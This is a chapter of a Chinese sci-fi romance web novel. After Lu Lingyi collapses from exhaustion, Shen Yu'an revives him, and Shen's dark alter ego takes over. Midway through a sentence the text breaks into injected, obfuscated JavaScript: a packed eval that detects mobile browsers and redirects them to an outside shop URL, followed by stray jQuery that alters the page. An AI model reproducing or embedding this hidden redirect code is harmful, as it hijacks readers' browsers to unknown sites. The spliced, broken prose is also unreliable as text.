浴室的水汽还没散干净,混着沐浴露淡淡的白茶香,氤氲了整个房间。陆凌一扶着腰挪出来,感觉自己半条命都交代在浴室里了。
把自己摔在床上,脸埋进枕头里,趴着就再也不想动了。
——早知道就不跟他闹了。现在好了,腰快断了。
小黑羊颠颠地从客厅跑过来,踩着他的后背往上爬,小蹄子踩得他龇牙咧嘴。转了几圈,终于在他腰窝那里找了个最软的地方,蜷成一团圆滚滚的黑毛球。
——你倒是会找地方……
“好酸——”陆凌一闷在枕头里,声音含糊不清。
“咩~”小黑羊用脑袋捣了捣他的后背,想给他缓解一下。
申谕安在床边坐下,伸手搭在他腰上轻揉着,力道刚好,拇指沿着腰窝打圈,舒服得陆凌一呼了一声。
申谕安:“再——”
“拒绝。”陆凌一一个翻身滚到床的另一边,用被子把自己裹成个卷,只露一双眼睛瞪他。
申谕安的手顿在半空。
陆凌一在心里偷乐,嘴上还不饶人:“你刚才哭什么啊?把我吓得半死。”
申谕安转过身,陆凌一朝他招招手,勾了勾手指:“来。”
申谕安走过来坐下,陆凌一伸手握住他的手,十指扣紧,举到眼前晃了晃。
陆凌一:“你看,抓得多紧,想跑都跑不了,你还有什么好怕的,我有的都给你了。”
申谕安面上还是绷着那副高冷的样子,“饿不饿?”
他话音刚落,陆凌一的肚子就“咕噜噜”叫了一声,声音响得很。小黑羊被吓得从他后背滚下来,“咩”了一声,不满地甩了甩尾巴。
——吓我一跳咩!
陆凌一捂住肚子,脸有点热,嘴硬道:“……肚子自己叫的,跟我没关系,是它在抗议。”
申谕安低笑一声,伸手去摸他的肚子。陆凌一由着他动手动脚,心里美滋滋的:摸吧,你老公可是有腹肌的。
申谕安:“想吃什么?”
陆凌一立刻巴拉巴拉报了一长串菜名:“红烧牛仔骨、茄子烧肉、糖醋里脊、可乐鸡翅……还要一杯鲜榨橙汁!多放冰!”刚才累死累活的快成人干了,可不能亏待自己。
申谕安拿出光脑下单,提示音叮叮咚咚响个不停,屏幕上划过一长串订单确认。
陆凌一窝在床上,看着他坐在床边低头划光脑的样子。不禁感慨:啧,我老婆长得真好看,活着真好啊。哪怕现在腰酸腿疼浑身疼,但心里美滋滋的,得劲儿!
肚子又叫了一声,比刚才还响。
“先垫一下。”申谕安从床头柜的抽屉里翻出两支营养剂,递给他一支,“送餐还要半小时。”
陆凌一接过营养剂,看了一眼那管黄不拉几的液体,嫌弃地皱了皱鼻子,“不要这个,难喝死了,我要吃真正的食物。”
“先垫着。”申谕安拧开自己手里那支,先喝了一口,“好喝,芒果味的。”
陆凌一不太情愿地凑过去,就着他的手喝了一口,咂咂嘴。嗯?好像还不错,芒果味比想象中浓,又喝了一口。
喝着喝着,他的动作越来越慢,眼皮越来越重,怎么也撑不开。手一歪,营养剂从指间滑落,滚到地毯上,芒果色的液体流了一小滩。
“凌一?”申谕安叫了一声,以为他睡着了,伸手想把他抱进被窝里,可一碰到他的脸,就发现不对劲。皮肤凉得吓人,像刚从冷水里捞出来一样。他慌了神,拍了拍陆凌一的脸:“凌一?醒醒!你怎么了!?”
陆凌一一点反应都没有,睫毛没颤,呼吸浅得几乎感觉不到。
小黑羊也察觉出不对了,从床脚跳起来,跑到陆凌一枕边,用小脑袋使劲拱他的脸:“咩!咩咩!”
——主人醒醒咩!别睡咩!
拱了好几下,陆凌一还是一动不动,小黑羊急得在原地转圈,小蹄子在床单上踩出一串慌乱的褶皱,又用鼻子去顶他的下巴,连他最怕痒的地方都试过了。
申谕安克制住身体的颤抖,强迫自己冷静下来,战场上养成的本能在这一刻接管了他的身体。他迅速打开光脑最高权限,切换到辅助医疗功能,对着陆凌一做了全身扫描。
滴——!
屏幕上瞬间跳出一片刺目的红色警告:过度疲劳、严重低血糖、代谢系统紊乱、精神力消耗速度超出正常阈值300%。
他立刻拨了鹿雪的号码:“立刻过来。”挂断通讯,他从医疗箱里翻出一支稳定剂,托起陆凌一的后脑,把瓶口凑到他嘴边。
喂不进去,陆凌一的牙关咬得死紧,稳定剂顺着他的嘴角往下淌,打湿了枕头。申谕安顾不上多想,迅速把稳定剂含进自己嘴里,俯身贴上陆凌一的唇,抵开他的牙关,一点点渡了进去。
喂完一口,他看了一眼,陆凌一没反应,但喉结滚了一下,咽下去了。
鹿雪很快赶到,拿出一支浓缩营养液,接上输液管,熟练地扎进陆凌一的手臂。蓝色的液体一点点流进血管,监测仪上的曲线终于慢慢趋于平稳。
“输完这支应该就能醒了。”鹿雪调慢了输液速度,“但他的身体状态非常不稳定,建议您明天带他去医疗部做个全面检查。”
申谕安没说话,点了点头。
又过了五六分钟,陆凌一的眼皮动了动,终于睁开了眼。他茫然地眨了眨眼,看见了站在旁边的申谕安和鹿雪,花了点时间才认出来自己在哪。
“……姐姐也在啊?”他的声音还有点虚,但比刚才有力气多了,“我怎么在这儿?我不是在床上喝营养剂吗?”
鹿雪问:“感觉怎么样?”
陆凌一眨了眨眼,皱着眉头想了想,非常认真地说:“我好饿。”
申谕安悬着的心一下子就落了地。他小心地把陆凌一从医疗舱里扶起来,让他靠在自己怀里,“还有哪里不舒服?”
“没,就是有点累。”陆凌一靠在他怀里,懒洋洋地打了个哈欠,“我怎么晕了?是不是营养剂过期了?”
“……低血糖。”申谕安摸了摸他手上还扎着输液管的胶带,声音有些后怕,“以后不能再这么消耗精神力了。”
陆凌一敷衍地点点头,又看向鹿雪,笑得一脸无害,“麻烦姐姐跑一趟了,我就是饿晕了,没什么大事,现在已经好了。你看,我都能下地跑了。”
鹿雪无奈地摇了摇头,收拾好医疗箱,把用过的采血针和棉球装进密封袋里:“营养液输完了就拔针,晚上好好休息,要是还有哪里不舒服,随时给我发消息。”
陆凌一:“好~”
鹿雪走到门口,还是不放心,回头看了一眼。陆凌一靠在申谕安怀里,还在嘟囔“饿死了,我刚才做梦都在啃鸡腿”,申谕安一手扶着他的腰,一手拿着光脑,正在刷新外卖订单,看送到哪里了。
她轻轻带上了门。刚走没两分钟,门铃就响了,伴随着外卖小哥洪亮的声音:“外卖到了!祝您用餐愉快!”
“来了来了!”陆凌一挣扎着就要起身,连手上的输液针都忘了。
“别动,我去拿。”申谕安按住他,无奈地摇了摇头,转身走了出去。
小黑羊从床脚爬过来,踩着被子挪到陆凌一胸口,小脑袋搁在他的手上,湿漉漉的黑眼睛看着他。
“咩?”
“快死了,”陆凌一有气无力地摸了摸它的头,“饿死的。”
小黑羊伸出粉色的小舌头舔了舔他的手指:死了就没人喂我芒果干了咩。
陆凌一弹了一下它的耳朵尖:“就惦记芒果干,小没良心的。”
小黑羊“呜咩”一声,缩了缩脖子,把脸埋进他的衣服里。
申谕安拎着两个大袋子回来了。一进门就看见陆凌一已经自己把输液器拔掉,针头上还沾着一点血珠,被他用纸巾随手擦掉了。
他正坐在床上眼巴巴地等着开餐,听到声音一下子弹起来:“快点快点!饿死我了!”
申谕安把餐盒一个个拿出来,摆了满满一桌,全是他刚才点的。
“这么多?”陆凌一有点傻眼。他记得自己点的是几个菜,但没想到每个分量都这么足。
申谕安:“你点的。”
“我点的时候没觉得多啊。”陆凌一已经伸手去夹牛仔骨了,边塞边说,“不过没关系,我能吃完!饿死我了——这个牛仔骨炖得真好,骨头都酥了。”
申谕安坐在床边,看着他狼吞虎咽,筷子在餐盒和嘴之间来回飞舞,速度惊人。
“你怎么不吃?”陆凌一嘴里塞满了肉,含糊不清地问。
申谕安:“不饿。”
“你盯着我吃,我压力很大。”陆凌一鼓着腮帮子说,“你也吃点,不然我不好意思继续吃了。”
申谕安张嘴咬了一口他递过来的牛仔骨,酱汁沾了一点在他的嘴角。
陆凌一啃着骨头,忽然笑了,嘴里还叼着一根骨头,“活过来了。差点真饿死了,我刚才做的梦里全是吃的,结果每回刚拿到嘴边就飞了,气死我了。”
“凌一。”
“嗯?”陆凌一吸了口橙汁,眼睛还盯着盘子里的可乐鸡翅,筷子已经伸过去了。
申谕安把光脑递到他面前,屏幕上是刚才的全身扫描结果,那一串刺目的红色警告还在。
陆凌一咬着吸管的手顿了顿,他抬眼看了看申谕安担忧的眼神,他沉默了几秒,把光脑放到一边,不管不顾地继续喝他的果汁。
陆凌一:“看到了。”
申谕安:“你不担心——”
“担心有什么用?”陆凌一吸了一口果粒,嚼得咯吱咯吱响,“徒增烦恼而已,反正担心了也不会变好,还不如开开心心吃顿好的。这鸡翅你要不要?最后一个了,不要我全吃了。”
申谕安正色道:“你的身体代谢速度远超正常人,星核的力量太强了,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690189|207889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的肉身承载不住它的消耗,再这样下去……”
他没说完,但两个人都心知肚明。
陆凌一放下杯子,舔了舔嘴角的果汁渍,看着申谕安,“我有件事没告诉你。”
申谕安心一紧。
“星核的力量在消散。”陆凌一淡淡地说,“它的能量不是无限的。上次觉醒消耗了太多,如果找不到另一半星核补全,等它彻底消散的那天,我的心脏也会停跳。”
小餐桌上的菜还在冒着热气,但好像没有人再有胃口了。
雪狼轻手轻脚地走过来,蹲在床尾,不安地看着他们。
申谕安面上没什么表情,但眼睛里的情绪翻涌得厉害,“怎么不早说?”
“早说晚说不都一样?”陆凌一撇了撇嘴,“反正你也不知道另一半在哪,说了你也是干着急,还不如不让你知道,我自己慢慢找。”
他想了想,又补了一句,“而且你看,我现在不是好好的吗?还能吃能睡的。等找到了另一半就彻底好了,不差这一会儿。”
申谕安:“我会找到。从现在开始,不许再用精神力。”
陆凌一皱起眉:“那怎么行?我好不容易才从F级废物变成S+级向导,又要做回废物?我才不要。”
“你不是废物。”申谕安直视着他的双眼,“不管你有没有精神力,你都是陆凌一。”
“陆凌一没有精神力就是废物。”陆凌一抽了抽手,没抽出来,他看着申谕安固执的眼神,叹了口气,“行行行,不用就不用。但是如果遇到突发情况,我还是会用。”
他想了想,忽然眼睛一亮:“对哦!你把你的精神力传输给我不就行了?你的精神力我又不是没吸过。”
申谕安看着他,心口一阵酸软,“今天不行。你身体太虚了,承受不住,刚才差点连营养剂都消化不了。”
“那就明天。”陆凌一打了个哈欠,眼皮又开始打架,“明天再说……困死了……”
话音刚落没几秒,他脑袋一歪,靠在申谕安怀里,直接关机了。
申谕安无奈地笑了笑,把他放平在床上,拉过被子盖好。小黑羊早就蜷在陆凌一的脚边,睡得呼噜呼噜的,四只小蹄子缩在肚子底下。
雪狼从旁边走过来,叼起小黑羊的后颈皮走了出去,把它放回自己的窝里。
申谕安看了他很久,又伸手戳了戳他的脸颊。皮肤已经恢复了温热,不再是刚才那种冰凉的触感。
他又戳了一下,陆凌一在睡梦中皱了皱鼻子,往他手指的方向蹭了蹭。
——“你变了。”
申谕安的身体僵了一下,精神海深处,一个冰冷的声音响了起来。
——“以前你不会这样优柔寡断,你会直接做决定,不管他愿不愿意。现在呢?你连让他不用精神力都要跟他商量。”
——“你变温顺了,也变弱了。你没法狠心对陆凌一了。百年前你下不了手杀他,现在你连让他难过都舍不得。”
“你不是死了吗?”申谕安冷冷地在心里说,“死人就不要说话了。”
深渊笑了一声,“我怎么会死?我就是你,你就是我。只要你还活着,我就永远不会死。你知道另一半星核在哪,但你没法告诉陆凌一,因为你舍不得。”
——“你舍不得让他知道真相,让他痛苦。”
窗外的月光照进来,落在他握紧的拳头上。
申谕安:“我会找到救他的办法。不需要你插手。”
深渊又笑了一声,重新沉入了精神海深处。湖面的涟漪渐渐平息,但那片曾经清澈见底的湖水,在月光的阴影里似乎又暗了几分。
申谕安睁开眼睛,弯腰把陆凌一身上的被子掖好。他小心地把陆凌一搂进怀里,只敢轻轻圈着。
陆凌一在睡梦中哼了一声,往他温暖的胸口拱了拱,找了个舒服的姿势继续睡。
困意涌了上来,申谕安的意识沉了下去。
就在他彻底睡着的那一刻,精神海里的湖水忽然起了剧烈的波澜。原本清澈见底的淡蓝色湖水迅速被墨色染黑,翻涌着黑色的浪涛。
湖心那棵嫩绿的小树在风暴中剧烈摇晃,知予的光芒变得暗淡。湖底,一双冰冷的黑眸睁开。那团属于深渊的,沉寂了许久的执念,在他精神最松懈的瞬间,猛地膨胀开来,吞噬了整片湖泊。
陆凌一枕边,申谕安睁开了眼。银白的睫毛下,那双原本温柔的黑眸,此刻翻涌着截然不同的情绪。
他偏过头,陆凌一睡得毫无防备,脸贴着他的胸口。申谕安盯着他看,眼神贪婪而痴迷,手指划过他的眉眼。
“凌一。”他低声叫着他的名字,把陆凌一往自己怀里又按了按,力道大得几乎要与他融为一体。
看着窗外被乌云遮住的月亮,黑眸里映着清冷的光。
“我会救你。”他贴上陆凌一的唇角,落下一个偏执的吻,“不管付出什么代价。”